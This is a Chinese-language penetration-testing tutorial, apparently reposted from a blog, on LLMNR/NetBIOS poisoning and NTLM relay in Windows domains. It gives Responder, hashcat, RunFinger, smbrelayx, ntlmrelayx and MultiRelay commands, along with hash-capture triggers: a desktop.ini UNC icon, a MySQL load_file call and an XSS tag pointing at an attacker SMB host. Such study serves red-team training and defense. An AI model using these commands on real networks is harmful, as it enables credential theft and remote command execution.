域渗透之NTLM Relay
域渗透之NTLM Relay
基础知识
LLMNR概述
链路本地多播名称解析(LLMNR)是一个基于协议的域名系统(DNS)数据包的格式,使得双方的IPv4和IPv6的主机来执行名称解析为同一本地链路上的主机。当局域网中的DNS服务器不可用时,DNS客户端会使用LLMNR本地链路多播名称解析来解析本地网段上的主机的名称,直到网络连接恢复正常为止。
LLMNR工作过程
当一台主机想要访问到另一台主机时,主机在自己的内部名称缓存中查询名称,如果在缓存中没有找到名称,那么主机就会向自己配置的DNS服务器发送查询请求,如果主机没有收到回应或收到了错误信息,即DNS解析会失败,那么就会转为使用LLMNR链路本地多播名称解析。
使用链路本地多播名称解析时,主机会通过 UDP 向局域网内发送多播查询,查询主机名对应的IP,查询范围被限制在本地子网内。本地子网内每台支持LLMNR的主机在收到这个查询请求后,收到该请求的主机会判断自己的主机名是不是这个查询的主机名。如果是,这台主机会回复自己IP地址给请求该查询的主机;如果不是,则丢弃该请求。
解析顺序
-
本地hosts文件(%windir%\System32\drivers\etc\hosts)
-
DNS缓存/DNS服务器
-
链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS)
LLMNR和NetBIOS欺骗攻击
攻击原理
我们利用SMB协议获取目标网络中计算机的Net-NTML Hash。
当用户输入 不存在、包含错误 或者 DNS中没有的主机名 时,主机先在自己的内部名称缓存中查询名称,如果没找到,主机就会向DNS服务器查询,而DNS解析会失败,此时就会退回LLMNR和NetBIOS进行对链路内存在的主机进行广播查询。那么攻击者就能够代替网络上任何不存在的主机回答请求,并诱导搜索内容的主机连接到我们。如果攻击者使用 Responder 等工具,就可以要求验证受害者主机的身份,而如果攻击者被认为是这些主机所在的本地网络中的一部分时,他们就会把自己进行哈希后的Windows凭据发给攻击者。
Responder概述
Responder是监听LLMNR和NetBIOS协议的工具之一,能够抓取网络中所有的LLMNR和NetBIOS请求并进行响应,获取最初的账户凭证。
Responder会利用内置SMB认证服务器、MSSQL认证服务器、HTTP认证服务器、HTTPS认证服务器、LDAP认证服务器,DNS服务器、WPAD代理服务器,以及FTP、POP3、IMAP、SMTP等服务器,收集目标网络中的明文凭据,还可以通过Multi-Relay功能在目标系统中执行命令。
Responder使用
responder -I eth0 -r on -v -F on -w on
主机尝试连接该地址,检查内部名称缓存和DNS都没找到,就会通过LLMNR和NetBIOS,在局域网中进行搜索。
此时就能抓到Net-NTLM Hash
Net-NTLM Hash
不能作为PTH使用,但可以使用hashcat等工具爆破或进行NTLM-Relay攻击
hashcat -m 5600 hash.txt wordlists.txt --show
NetBIOS
NetBIOS 协议进行名称解析的过程如下:
- 检查本地 NetBIOS 缓存
- 如果缓存中没有请求的名称且已配置了 WINS 服务器,接下来则会向 WINS 服务器发出请求
- 如果没有配置 WINS 服务器或 WINS 服务器无响应则会向当前子网域发送广播
- 如果发送广播后无任何主机响应则会读取本地的 lmhosts 文件
desktop.ini
文件夹底下都有个文件desktop.ini来指定文件夹图标之类的。默认不可见。去掉隐藏受保护的操作系统文件就可以看到.每个文件夹底下都会有,我们新建一个新的文件夹的话,如果没看到desktop.ini,可以尝试更改图标,就可以看到了。
将图标路径改成UNC路径,指向我们的服务器
打开文件夹就会去访问UNC路径,即可获得用户的net-ntlm hash
MySQL
select load_file('\\\\172.16.100.1\\mysql');
XSS
<script src="\\172.16.100.1\xss">
这种情况适用于IE和edge,其他浏览器不允许从http域跨到file域
smb Relay
python3 RunFinger.py -i 192.168.22.0/24
目标主机没有开放smb签名,一般情况下域控默认开启smb签名,其余机器不开放
打开responder并修改responder.conf,將smb和http改为Off,里面responder的作用就是,创建一个可以被访问的虚拟路径并且模拟与其他主机进行NTLM认证,使用smbrelayx进行ntlm-relay
創建一個可以被訪問的虛擬路徑并且模擬與其他主機進行NTLM認證互動,而smbrelayx腳本進行
python3 smbrelayx.py -h 192.168.22.137 -c "whoami"
這時候只要域內主機觸發了LLMNR協議即可,觸發方式與上免例子的觸發方式一致,即通過smb協議或者http協議訪問一個不存在的主機,
./ntlmrelayx.py -t 受害者ip -c whoami -smb2support
./MultiRelay.py -t 受害者ip -u ALL
原文地址:https://www.cnblogs.com/nice0e3/p/15224960.html
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- PHP表单提交参数验证类(可修改)
- Tensorflow MNIST CNN 手写数字识别
- Tensorflow 实现各种学习率衰减
- only integer scalar arrays can be converted to a scalar index
- 不再迷惑,无值和 NULL 值
- Tensorflow 读取 CIFAR-10 数据集
- 使用二维数据构造简单卷积神经网络
- HTTP的同源策略与跨域资源共享(CORS)机制
- tf.transpose函数解析
- 新版RTSP协议视频流媒体平台EasyNVR首页播放器遮挡下拉框的问题优化
- CentOS系统下RTSP协议拉流视频平台EasyNVR端口如何穿透防火墙?
- 高吞吐量消息系统—kafka
- 国人开源了一款小而全的 Java 工具类库,厉害啊!!
- tf.session.run()单函数运行和多函数运行区别
- 使用 Tensorflow 在 CIFAR-10 二进制数据集上构建 CNN